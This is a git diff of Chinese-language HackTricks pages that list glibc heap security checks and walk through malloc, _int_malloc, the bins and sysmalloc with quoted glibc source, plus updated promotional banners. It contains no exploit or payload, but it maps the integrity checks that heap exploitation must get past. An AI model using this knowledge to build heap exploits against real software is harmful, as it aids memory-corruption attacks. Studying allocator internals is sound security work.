* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# 堆函数安全检查
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## unlink
|
||||
|
||||
|
@ -24,11 +25,11 @@
|
|||
|
||||
这是执行的检查摘要:
|
||||
|
||||
* 检查指定块的大小是否与下一个块中指示的`prev_size`相同
|
||||
* 检查指定块的大小是否与下一个块中指定的 `prev_size` 相同
|
||||
* 错误消息:`corrupted size vs. prev_size`
|
||||
* 还要检查`P->fd->bk == P`和`P->bk->fw == P`
|
||||
* 还要检查 `P->fd->bk == P` 和 `P->bk->fw == P`
|
||||
* 错误消息:`corrupted double-linked list`
|
||||
* 如果块不是小块,请检查`P->fd_nextsize->bk_nextsize == P`和`P->bk_nextsize->fd_nextsize == P`
|
||||
* 如果块不是小块,请检查 `P->fd_nextsize->bk_nextsize == P` 和 `P->bk_nextsize->fd_nextsize == P`
|
||||
* 错误消息:`corrupted double-linked list (not small)`
|
||||
|
||||
## \_int\_malloc
|
||||
|
@ -39,66 +40,66 @@
|
|||
[malloc-and-sysmalloc.md](malloc-and-sysmalloc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **在快速bin搜索期间的检查:**
|
||||
* **快速 bin 搜索期间的检查:**
|
||||
* 如果块未对齐:
|
||||
* 错误消息:`malloc(): unaligned fastbin chunk detected 2`
|
||||
* 如果前向块未对齐:
|
||||
* 错误消息:`malloc(): unaligned fastbin chunk detected`
|
||||
* 如果返回的块大小不正确,因为它在快速bin中的索引不正确:
|
||||
* 如果返回的块大小不正确,因为它在快速 bin 中的索引不正确:
|
||||
* 错误消息:`malloc(): memory corruption (fast)`
|
||||
* 如果用于填充tcache的任何块未对齐:
|
||||
* 如果用于填充 tcache 的任何块未对齐:
|
||||
* 错误消息:`malloc(): unaligned fastbin chunk detected 3`
|
||||
* **在小bin搜索期间的检查:**
|
||||
* 如果`victim->bk->fd != victim`:
|
||||
* **小 bin 搜索期间的检查:**
|
||||
* 如果 `victim->bk->fd != victim`:
|
||||
* 错误消息:`malloc(): smallbin double linked list corrupted`
|
||||
* **在合并期间的检查** 对每个快速bin块执行: 
|
||||
* **合并期间的检查** 对每个快速 bin 块执行: 
|
||||
* 如果块未对齐触发:
|
||||
* 错误消息:`malloc_consolidate(): unaligned fastbin chunk detected`
|
||||
* 如果块的大小与应有的大小不同,因为它所在的索引不正确:
|
||||
* 如果块的大小与应有的大小不同,因为它在索引中的位置不正确:
|
||||
* 错误消息:`malloc_consolidate(): invalid chunk size`
|
||||
* 如果前一个块未被使用且前一个块的大小与prev\_chunk指示的大小不同:
|
||||
* 如果前一个块未被使用且前一个块的大小与 prev\_chunk 指示的大小不同:
|
||||
* 错误消息:`corrupted size vs. prev_size in fastbins`
|
||||
* **在未排序bin搜索期间的检查**:
|
||||
* **未排序 bin 搜索期间的检查**:
|
||||
* 如果块大小异常(太小或太大): 
|
||||
* 错误消息:`malloc(): invalid size (unsorted)`
|
||||
* 如果下一个块的大小异常(太小或太大):
|
||||
* 如果下一个块大小异常(太小或太大):
|
||||
* 错误消息:`malloc(): invalid next size (unsorted)`
|
||||
* 如果下一个块指示的前一个块的大小与块的大小不同:
|
||||
* 如果下一个块指示的前一个大小与块的大小不同:
|
||||
* 错误消息:`malloc(): mismatching next->prev_size (unsorted)`
|
||||
* 如果不是`victim->bck->fd == victim`或不是`victim->fd == av (arena)`:
|
||||
* 如果不是 `victim->bck->fd == victim` 或不是 `victim->fd == av (arena)`:
|
||||
* 错误消息:`malloc(): unsorted double linked list corrupted`
|
||||
* 因为我们总是检查最后一个,它的fd应始终指向arena结构。
|
||||
* 因为我们总是检查最后一个,它的 fd 应始终指向 arena 结构。
|
||||
* 如果下一个块未指示前一个块正在使用:
|
||||
* 错误消息:`malloc(): invalid next->prev_inuse (unsorted)`
|
||||
* 如果`fwd->bk_nextsize->fd_nextsize != fwd`:
|
||||
* 如果 `fwd->bk_nextsize->fd_nextsize != fwd`:
|
||||
* 错误消息:`malloc(): largebin double linked list corrupted (nextsize)`
|
||||
* 如果`fwd->bk->fd != fwd`:
|
||||
* 如果 `fwd->bk->fd != fwd`:
|
||||
* 错误消息:`malloc(): largebin double linked list corrupted (bk)`
|
||||
* **在大bin(按索引)搜索期间的检查:**
|
||||
* **按索引搜索大 bin 期间的检查:**
|
||||
* `bck->fd-> bk != bck`:
|
||||
* 错误消息:`malloc(): corrupted unsorted chunks`
|
||||
* **在大bin(下一个更大)搜索期间的检查:**
|
||||
* **按下一个更大的搜索大 bin 期间的检查:**
|
||||
* `bck->fd-> bk != bck`:
|
||||
* 错误消息:`malloc(): corrupted unsorted chunks2`
|
||||
* **在Top块使用期间的检查:**
|
||||
* `chunksize(av->top) > av->system_mem`:
|
||||
* **使用顶部块时的检查:**
|
||||
* `chunksize(av->top) > av->system_mem`:
|
||||
* 错误消息:`malloc(): corrupted top size`
|
||||
|
||||
## `tcache_get_n`
|
||||
|
||||
* **在`tcache_get_n`中的检查:**
|
||||
* **`tcache_get_n` 中的检查:**
|
||||
* 如果块未对齐:
|
||||
* 错误消息:`malloc(): unaligned tcache chunk detected`
|
||||
|
||||
## `tcache_thread_shutdown`
|
||||
|
||||
* **在`tcache_thread_shutdown`中的检查:**
|
||||
* **`tcache_thread_shutdown` 中的检查:**
|
||||
* 如果块未对齐:
|
||||
* 错误消息:`tcache_thread_shutdown(): unaligned tcache chunk detected`
|
||||
|
||||
## `__libc_realloc`
|
||||
|
||||
* **在`__libc_realloc`中的检查:**
|
||||
* **`__libc_realloc` 中的检查:**
|
||||
* 如果旧指针未对齐或大小不正确:
|
||||
* 错误消息:`realloc(): invalid pointer`
|
||||
|
||||
|
@ -110,22 +111,22 @@
|
|||
[free.md](free.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **在`_int_free`开始时的检查:**
|
||||
* **`_int_free` 开始时的检查:**
|
||||
* 指针已对齐:
|
||||
* 错误消息:`free(): invalid pointer`
|
||||
* 大小大于`MINSIZE`且大小也对齐:
|
||||
* 大小大于 `MINSIZE` 且大小也对齐:
|
||||
* 错误消息:`free(): invalid size`
|
||||
* **在`_int_free` tcache中的检查:**
|
||||
* 如果条目超过`mp_.tcache_count`:
|
||||
* **`_int_free` tcache 中的检查:**
|
||||
* 如果条目数超过 `mp_.tcache_count`:
|
||||
* 错误消息:`free(): too many chunks detected in tcache`
|
||||
* 如果条目未对齐:
|
||||
* 错误消息:`free(): unaligned chunk detected in tcache 2`
|
||||
* 如果释放的块已被释放并作为块存在于tcache中:
|
||||
* 如果已释放的块已被释放并作为块存在于 tcache 中:
|
||||
* 错误消息:`free(): double free detected in tcache 2`
|
||||
* **在`_int_free`快速bin中的检查:**
|
||||
* **`_int_free` 快速 bin 中的检查:**
|
||||
* 如果块的大小无效(太大或太小)触发:
|
||||
* 错误消息:`free(): invalid next size (fast)`
|
||||
* 如果添加的块已经是快速bin的顶部:
|
||||
* 如果添加的块已经是快速 bin 的顶部:
|
||||
* 错误消息:`double free or corruption (fasttop)`
|
||||
* 如果顶部的块大小与我们要添加的块的大小不同:
|
||||
* 错误消息:`invalid fastbin entry (free)`
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# malloc & sysmalloc
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 分配顺序摘要 <a href="#libc_malloc" id="libc_malloc"></a>
|
||||
|
||||
|
@ -20,26 +21,26 @@
|
|||
|
||||
1. `__libc_malloc` 尝试从 tcache 获取一个块,如果没有,则调用 `_int_malloc`
|
||||
2. `_int_malloc`: 
|
||||
1. 尝试生成arena(如果没有)
|
||||
2. 如果有正确大小的任何fast bin块,则使用它
|
||||
1. 使用其他快速块填充tcache
|
||||
3. 如果有正确大小的任何small bin块,则使用它
|
||||
1. 使用该大小的其他块填充tcache
|
||||
4. 如果请求的大小不适用于small bins,则将快速bin合并到未排序的bin中
|
||||
5. 检查未排序的bin,使用第一个具有足够空间的块
|
||||
1. 如果找到的块更大,则将其分割以返回一部分,并将剩余部分添加回未排序的bin
|
||||
2. 如果一个块的大小与请求的大小相同,则使用它来填充tcache而不是返回它(直到tcache已满,然后返回下一个)
|
||||
3. 对于每个检查的较小大小的块,将其放入相应的small或large bin中
|
||||
6. 检查所请求大小的索引中的large bin
|
||||
1. 从第一个大于请求大小的块开始查找,如果找到任何则返回它,并将剩余部分添加到small bin中
|
||||
7. 从下一个索引开始检查large bins直到结束
|
||||
1. 从下一个更大的索引开始检查任何块,将第一个找到的块分割以用于请求的大小,并将剩余部分添加到未排序的bin中
|
||||
8. 如果在先前的bins中找不到任何内容,则从顶部块获取一个块
|
||||
9. 如果顶部块不够大,则使用`sysmalloc`扩大它
|
||||
1. 尝试生成 arena(如果没有)
|
||||
2. 如果有正确大小的任何 fast bin 块,则使用它
|
||||
1. 使用其他快速块填充 tcache
|
||||
3. 如果有正确大小的任何 small bin 块,则使用它
|
||||
1. 使用该大小的其他块填充 tcache
|
||||
4. 如果请求的大小不适用于 small bins,则将快速 bin 合并到未排序 bin 中
|
||||
5. 检查未排序 bin,使用具有足够空间的第一个块
|
||||
1. 如果找到的块更大,则将其分割以返回一部分并将剩余部分添加回未排序 bin
|
||||
2. 如果块的大小与请求的大小相同,则使用它填充 tcache 而不是返回它(直到 tcache 满为止,然后返回下一个)
|
||||
3. 对于每个检查的较小大小的块,将其放入相应的 small 或 large bin 中
|
||||
6. 检查所请求大小的索引中的 large bin
|
||||
1. 从第一个大于请求大小的块开始查找,如果找到任何则返回它并将剩余部分添加到 small bin
|
||||
7. 从下一个索引开始检查大 bin 直到结束
|
||||
1. 从下一个更大的索引开始检查任何块,将第一个找到的块分割以用于请求的大小,并将剩余部分添加到未排序 bin
|
||||
8. 如果在前面的 bin 中找不到任何内容,则从顶部块获取一个块
|
||||
9. 如果顶部块不够大,则使用 `sysmalloc` 扩大它
|
||||
|
||||
## \_\_libc\_malloc <a href="#libc_malloc" id="libc_malloc"></a>
|
||||
|
||||
`malloc`函数实际上调用`__libc_malloc`。此函数将检查tcache以查看是否有所需大小的可用块。如果有,它将使用它;如果没有,则检查是否为单线程,如果是,则在主arena中调用`_int_malloc`,如果不是,则在线程的arena中调用`_int_malloc`。
|
||||
`malloc` 函数实际上调用 `__libc_malloc`。此函数将检查 tcache,以查看是否有所需大小的可用块。如果有,它将使用它;如果没有,则检查是否为单线程,如果是,则在主 arena 中调用 `_int_malloc`,如果不是,则在线程的 arena 中调用 `_int_malloc`。
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -114,7 +115,7 @@ return victim;
|
|||
```
|
||||
</details>
|
||||
|
||||
注意代码中它总是会用 `tag_new_usable` 标记返回的指针:
|
||||
请注意,它将始终使用`tag_new_usable`标记返回的指针,如下所示:
|
||||
```c
|
||||
void *tag_new_usable (void *ptr)
|
||||
|
||||
|
@ -202,14 +203,14 @@ return p;
|
|||
|
||||
### 快速分配区
|
||||
|
||||
如果所需大小在快速分配区大小范围内,则尝试使用快速分配区中的一个块。基本上,根据大小,它会找到有效块应该位于的快速分配区索引,如果有的话,它将返回其中之一。\
|
||||
如果所需大小在快速分配区大小范围内,请尝试使用快速分配区中的一个块。基本上,根据大小,它会找到有效块应该位于的快速分配区索引,如果有的话,它将返回其中之一。\
|
||||
此外,如果启用了 tcache,则会**用快速分配区填充该大小的 tcache 区**。
|
||||
|
||||
在执行这些操作时,会执行一些安全检查:
|
||||
|
||||
- 如果块未对齐:`malloc(): unaligned fastbin chunk detected 2`
|
||||
- 如果前向块未对齐:`malloc(): unaligned fastbin chunk detected`
|
||||
- 如果返回的块的大小不正确,因为它在快速分配区中的索引:`malloc(): memory corruption (fast)`
|
||||
- 如果返回的块由于其在快速分配区中的索引而具有不正确的大小:`malloc(): memory corruption (fast)`
|
||||
- 如果用于填充 tcache 的任何块未对齐:`malloc(): unaligned fastbin chunk detected 3`
|
||||
|
||||
<details>
|
||||
|
@ -297,15 +298,15 @@ return p;
|
|||
|
||||
正如注释中所指出的,small bins 每个索引保存一个大小,因此检查可用的有效块非常快,因此在 fast bins 之后,会检查 small bins。
|
||||
|
||||
第一步是查找请求的大小是否可能在 small bin 中。在这种情况下,获取 small bin 中对应的 **索引**,然后查看是否有 **任何可用的块**。
|
||||
第一步是查找请求的大小是否可能在 small bin 中。在这种情况下,获取 small bin 中对应的 **索引**,并查看是否有 **任何可用的块**。
|
||||
|
||||
然后,执行安全检查:
|
||||
|
||||
-  如果 `victim->bk->fd = victim`。查看这两个块是否正确链接。
|
||||
|
||||
在这种情况下,块 **获得 `inuse` 位**,双向链表被修复,因此该块从中消失(因为它将被使用),如果需要,则设置非主要 arena 位。
|
||||
在这种情况下,该块 **获取 `inuse` 位**,双向链表被修复,因此该块从中消失(因为它将被使用),如果需要,则设置非主要 arena 位。
|
||||
|
||||
最后,用 small bin 中的其他块(如果有)填充请求大小的 tcache 索引。
|
||||
最后,**用 small bin 中的其他块填充请求大小的 tcache 索引**(如果有的话)。
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -370,15 +371,13 @@ return p;
|
|||
}
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### malloc\_consolidate
|
||||
|
||||
如果不是一个小块,而是一个大块,在这种情况下会调用**`malloc_consolidate`**来避免内存碎片化。
|
||||
如果不是一个小块,那么就是一个大块,在这种情况下会调用 **`malloc_consolidate`** 来避免内存碎片化。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>malloc_consolidate 调用</summary>
|
||||
<summary>调用 malloc_consolidate</summary>
|
||||
```c
|
||||
/*
|
||||
If this is a large request, consolidate fastbins before continuing.
|
||||
|
@ -403,12 +402,12 @@ malloc_consolidate (av);
|
|||
|
||||
malloc合并函数基本上是从快速分配区中移除块,并将它们放入未排序区。在下一次malloc之后,这些块将按照它们各自的小/快速分配区进行组织。
|
||||
|
||||
请注意,当移除这些块时,如果发现它们与之前或之后未被使用的块相邻,它们将在将最终块放入未排序区之前被**取消链接并合并**。
|
||||
请注意,在移除这些块时,如果发现它们与之前或之后未被使用的块相邻,它们将在将最终块放入未排序区之前被**取消链接并合并**。
|
||||
|
||||
对于每个快速分配区块,会执行一些安全检查:
|
||||
|
||||
- 如果块未对齐,则触发:`malloc_consolidate(): unaligned fastbin chunk detected`
|
||||
- 如果块的大小与由其所在索引确定的大小不同:`malloc_consolidate(): invalid chunk size`
|
||||
- 如果块的大小与其应有的大小不同,这是由于其所在索引的原因:`malloc_consolidate(): invalid chunk size`
|
||||
- 如果前一个块未被使用且前一个块的大小与`prev_chunk`指示的大小不同:`corrupted size vs. prev_size in fastbins`
|
||||
|
||||
<details>
|
||||
|
@ -516,26 +515,26 @@ av->top = p;
|
|||
```
|
||||
</details>
|
||||
|
||||
### 未排序的 bin
|
||||
### 未排序的块
|
||||
|
||||
是时候检查未排序的 bin,看看是否有潜在的有效块可供使用。
|
||||
现在是时候检查未排序的块,看看是否有潜在的有效块可供使用。
|
||||
|
||||
#### 开始
|
||||
|
||||
这从一个大循环开始,该循环将沿着 `bk` 方向遍历未排序的 bin,直到到达末尾(arena 结构)为止,使用 `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`。
|
||||
这从一个大循环开始,该循环将沿着`bk`方向遍历未排序的块,直到到达末尾(arena结构)为止,使用`while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` 
|
||||
|
||||
此外,每次考虑一个新块时都会执行一些安全检查:
|
||||
|
||||
- 如果块大小不正常(太小或太大):`malloc(): invalid size (unsorted)`
|
||||
- 如果下一个块的大小不正常(太小或太大):`malloc(): invalid next size (unsorted)`
|
||||
- 如果下一个块指示的前一个块大小与块的大小不同:`malloc(): mismatching next->prev_size (unsorted)`
|
||||
- 如果不是 `victim->bck->fd == victim` 或不是 `victim->fd == av`(arena):`malloc(): unsorted double linked list corrupted`
|
||||
- 因为我们总是检查最后一个,所以它的 `fd` 应该始终指向 arena 结构。
|
||||
- 如果下一个块没有指示前一个块正在使用:`malloc(): invalid next->prev_inuse (unsorted)`
|
||||
* 如果块的大小不正常(太小或太大):`malloc(): invalid size (unsorted)`
|
||||
* 如果下一个块的大小不正常(太小或太大):`malloc(): invalid next size (unsorted)`
|
||||
* 如果下一个块指示的前一个块的大小与块的大小不匹配:`malloc(): mismatching next->prev_size (unsorted)`
|
||||
* 如果不是`victim->bck->fd == victim`或不是`victim->fd == av`(arena):`malloc(): unsorted double linked list corrupted`
|
||||
* 因为我们总是检查最后一个,它的`fd`应该始终指向arena结构。
|
||||
* 如果下一个块没有指示前一个块正在使用:`malloc(): invalid next->prev_inuse (unsorted)`
|
||||
|
||||
<details>
|
||||
|
||||
<summary><code>_int_malloc</code> 未排序 bin 开始</summary>
|
||||
<summary><code>_int_malloc</code> 未排序块开始</summary>
|
||||
```c
|
||||
/*
|
||||
Process recently freed or remaindered chunks, taking one only if
|
||||
|
@ -588,7 +587,7 @@ malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
|
|||
|
||||
#### 如果 `in_smallbin_range`
|
||||
|
||||
如果块比请求的大小大,请使用它,并将块剩余空间设置为未排序列表,并使用它更新 `last_remainder`。
|
||||
如果块比请求的大小大,请使用它,并将块空间的其余部分设置为未排序列表,并使用它更新 `last_remainder`。
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -635,13 +634,13 @@ return p;
|
|||
```
|
||||
</details>
|
||||
|
||||
如果这一步成功,返回该块并结束,如果不成功,继续执行函数...
|
||||
如果这一步成功,返回该块并结束,如果不成功,则继续执行该函数...
|
||||
|
||||
#### 如果大小相等
|
||||
|
||||
继续从 bin 中移除该块,以防请求的大小恰好与该块的大小相同:
|
||||
|
||||
- 如果 tcache 没有填满,将其添加到 tcache 中,并继续指示存在一个可以使用的 tcache 块
|
||||
- 如果 tcache 没有填满,将其添加到 tcache 中,并继续指示存在一个可用的 tcache 块
|
||||
- 如果 tcache 已满,只需使用它并返回它
|
||||
|
||||
<details>
|
||||
|
@ -690,7 +689,7 @@ return p;
|
|||
|
||||
#### 将块放入一个 bin 中
|
||||
|
||||
根据块的大小将已检查的块存储在 small bin 中或 large bin 中(保持 large bin 有序)。
|
||||
根据块的大小将已检查的块存储在小 bin 中或大 bin 中(保持大 bin 有序)。
|
||||
|
||||
正在执行安全检查,以确保大 bin 的双向链表未被破坏:
|
||||
|
||||
|
@ -806,13 +805,13 @@ return tcache_get (tc_idx);
|
|||
```
|
||||
</details>
|
||||
|
||||
如果限制未达到,继续执行代码...
|
||||
如果未达到限制,请继续执行代码...
|
||||
|
||||
### 大型 Bin(按索引)
|
||||
|
||||
如果请求很大(不在小型 bin 中)且我们尚未返回任何块,则获取**大型 bin**中请求大小的**索引**,检查**不为空**或者**该 bin 中最大的块比请求的大小大**,在这种情况下找到**可以用于请求大小的最小块**。
|
||||
如果请求是大型的(不在小型 bin 中),并且我们还没有返回任何块,则获取**大型 bin**中请求大小的**索引**,检查**是否不为空**或者**该 bin 中最大的块比请求的大小大**,在这种情况下找到**可以用于请求大小的最小块**。
|
||||
|
||||
如果最终使用的块的剩余空间可以成为一个新块,则将其添加到未排序的 bin 中,并更新 lsast\_reminder。
|
||||
如果最终使用的块的剩余空间可以成为一个新的块,则将其添加到未排序的 bin 中,并更新 lsast\_reminder。
|
||||
|
||||
在将剩余空间添加到未排序的 bin 时进行安全检查:
|
||||
|
||||
|
@ -897,7 +896,7 @@ return p;
|
|||
|
||||
### 大型 Bin(下一个更大的)
|
||||
|
||||
如果在确切的大型 Bin 中找不到可用的块,则开始循环遍历所有下一个大型 Bin(从立即更大的开始),直到找到一个(如果有的话)。
|
||||
如果在确切的大型 Bin 中找不到可用的块,则开始循环遍历所有下一个大型 Bin(从立即更大的开始),直到找到一个(如果有)。
|
||||
|
||||
拆分块的剩余部分被添加到未排序的 Bin 中,last\_reminder 被更新,并执行相同的安全检查:
|
||||
|
||||
|
@ -1029,7 +1028,7 @@ return p;
|
|||
|
||||
然后,如果顶部块的空间足够大以创建所请求大小的块,则会使用顶部块空间。\
|
||||
如果不够大,如果存在快速块,则合并它们并重试。\
|
||||
最后,如果空间不足,则使用 `sysmalloc` 来分配足够的大小。
|
||||
最后,如果空间不足,请使用`sysmalloc`来分配足够的大小。
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -1098,9 +1097,7 @@ return p;
|
|||
}
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
## sysmalloc
|
||||
### sysmalloc
|
||||
|
||||
### sysmalloc开始
|
||||
|
||||
|
@ -1175,10 +1172,10 @@ return 0;
|
|||
|
||||
### sysmalloc 检查
|
||||
|
||||
它首先获取旧的顶部块信息,并检查以下一些条件是否为真:
|
||||
它首先获取旧的顶部块信息,并检查以下条件中的一些是否为真:
|
||||
|
||||
* 旧堆大小为 0(新堆)
|
||||
* 前一个堆的大小大于 MINSIZE,旧顶部正在使用
|
||||
* 先前堆的大小大于 MINSIZE,旧顶部正在使用
|
||||
* 堆对齐到页面大小(0x1000,因此低 12 位需要为 0)
|
||||
|
||||
然后它还检查:
|
||||
|
@ -1206,16 +1203,11 @@ prev_inuse (old_top) &&
|
|||
/* Precondition: not enough current space to satisfy nb request */
|
||||
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
|
||||
```
|
||||
### sysmalloc not main arena
|
||||
|
||||
它首先会尝试**扩展**此堆的先前堆。如果不可能,尝试**分配一个新堆**并更新指针以便使用它。最后,如果这些方法都不起作用,尝试调用**`sysmalloc_mmap`**。 
|
||||
|
||||
</details>
|
||||
|
||||
### sysmalloc非主arena
|
||||
|
||||
它首先会尝试**扩展**先前的堆以供此堆使用。如果不可能,则尝试**分配一个新的堆**并更新指针以便使用它。\
|
||||
最后,如果这些方法都不起作用,尝试调用**`sysmalloc_mmap`**。 
|
||||
|
||||
<details>
|
||||
|
||||
<summary>sysmalloc非主arena</summary>
|
||||
```c
|
||||
if (av != &main_arena)
|
||||
{
|
||||
|
@ -1279,7 +1271,7 @@ return mm;
|
|||
|
||||
### sysmalloc主arena
|
||||
|
||||
它开始计算所需的内存量。它将通过请求连续的内存来开始,因此在这种情况下,可以使用未使用的旧内存。此外,还执行一些对齐操作。
|
||||
它开始计算所需的内存量。它将通过请求连续的内存来开始,因此在这种情况下,可以使用未使用的旧内存。还会执行一些对齐操作。
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -1339,7 +1331,7 @@ LIBC_PROBE (memory_sbrk_more, 2, brk, size);
|
|||
```
|
||||
### sysmalloc主arena前一个错误1
|
||||
|
||||
如果前一个返回`MORECORE_FAILURE`,尝试使用`sysmalloc_mmap_fallback`再次分配内存。
|
||||
如果之前返回了`MORECORE_FAILURE`,尝试使用`sysmalloc_mmap_fallback`再次分配内存。
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2715C7-L2740C10
|
||||
|
||||
|
@ -1679,16 +1671,17 @@ return chunk2mem (p);
|
|||
```
|
||||
</details>
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
